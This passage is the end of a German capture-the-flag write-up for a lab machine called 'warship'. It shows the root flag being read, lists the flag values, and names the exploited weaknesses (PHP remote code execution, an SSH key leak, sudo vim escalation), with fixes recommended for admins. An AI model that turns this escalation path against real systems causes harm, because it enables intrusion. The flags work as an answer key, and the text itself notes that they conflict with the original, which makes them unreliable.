██║     ╚███╔███╔╝██║ ╚████║       ██║   ██║  ██║███████╗       ██║   ██║  ██║╚██████╔╝██║ ╚████║
╚═╝      ╚══╝╚══╝ ╚═╝  ╚═══╝       ╚═╝   ╚═╝  ╚═╝╚══════╝       ╚═╝   ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝

-------------------------------------------------------------------------------------------------
                     "In this race of revival, one shall stand one shall fall."
	------------------------------------**********------------------------------------
                      	      Flag4{f220ad174379375c286849d7eb59dd90}
		██▒   █▓ ▒█████   ██▓▓█████▄  ███▄ ▄███▓ ▄▄▄       ██▓ ███▄    █ 
		▓██░   █▒▒██▒  ██▒▓██▒▒██▀ ██▌▓██▒▀█▀ ██▒▒████▄    ▓██▒ ██ ▀█   █ 
		 ▓██  █▒░▒██░  ██▒▒██▒░██   █▌▓██    ▓██░▒██  ▀█▄  ▒██▒▓██  ▀█ ██▒
		  ▒██ █░░▒██   ██░░██░░▓█▄   ▌▒██    ▒██ ░██▄▄▄▄██ ░██░▓██▒  ▐▌██▒
		   ▒▀█░  ░ ████▓▒░░██░░▒████▓ ▒██▒   ░██▒ ▓█   ▓██▒░██░▒██░   ▓██░
		   ░ ▐░  ░ ▒░▒░▒░ ░▓   ▒▒▓  ▒ ░ ▒░   ░  ░ ▒▒   ▓▒█░░▓  ░ ▒░   ▒ ▒ 
		   ░ ░░    ░ ▒ ▒░  ▒ ░ ░ ▒  ▒ ░  ░      ░  ▒   ▒▒ ░ ▒ ░░ ░░   ░ ▒░
		     ░░  ░ ░ ░ ▒   ▒ ░ ░ ░  ░ ░      ░     ░   ▒    ▒ ░   ░   ░ ░ 
		      ░      ░ ░   ░     ░           ░         ░  ░ ░           ░ 
-------------------------------------------------------------------------------------------------
root@warship:/root#

**Analyse:** In der Root-Shell (`/bin/sh`) funktioniert der Alias `ll` nicht. Es wird zu einer `bash`-Shell gewechselt, die den Alias kennt. Der Inhalt von `/home/soundwave` und dann `/root` wird aufgelistet. Die Datei `/root/root.txt` wird gefunden und ihr Inhalt mit `cat` angezeigt. Sie enthält ASCII-Art und den Root-Flag (`Flag4{f220ad174379375c286849d7eb59dd90}`).

**Bewertung:** Root-Zugriff bestätigt. Der Root-Flag wurde erfolgreich gefunden und ausgelesen.

**Empfehlung (Pentester):** Alle gefundenen Flags (Flag2, Flag3, Flag4/root.txt) notieren. Test abschließen.
**Empfehlung (Admin):** Die identifizierten Schwachstellen (PHP RCE, SSH Key Leak, Sudo Vim) beheben.

Flags

[Anmerkung: Die Flags im Log (Flag2, Flag3, Flag4) und die am Ende des Originaltextes angegebenen `user.txt`/`root.txt` stimmen nicht überein. Die Flags aus dem Log werden hier verwendet.]

Gefunden in /M3G4TR0N_SUPR3M3/admin.php (Flag 2)
8278ad4f45efef155f2569c1be074d2d
cat /home/soundwave/Flag3.txt (Flag 3)
Kein Wert im Log angegeben
cat /root/root.txt (Flag 4 / Root Flag)
f220ad174379375c286849d7eb59dd90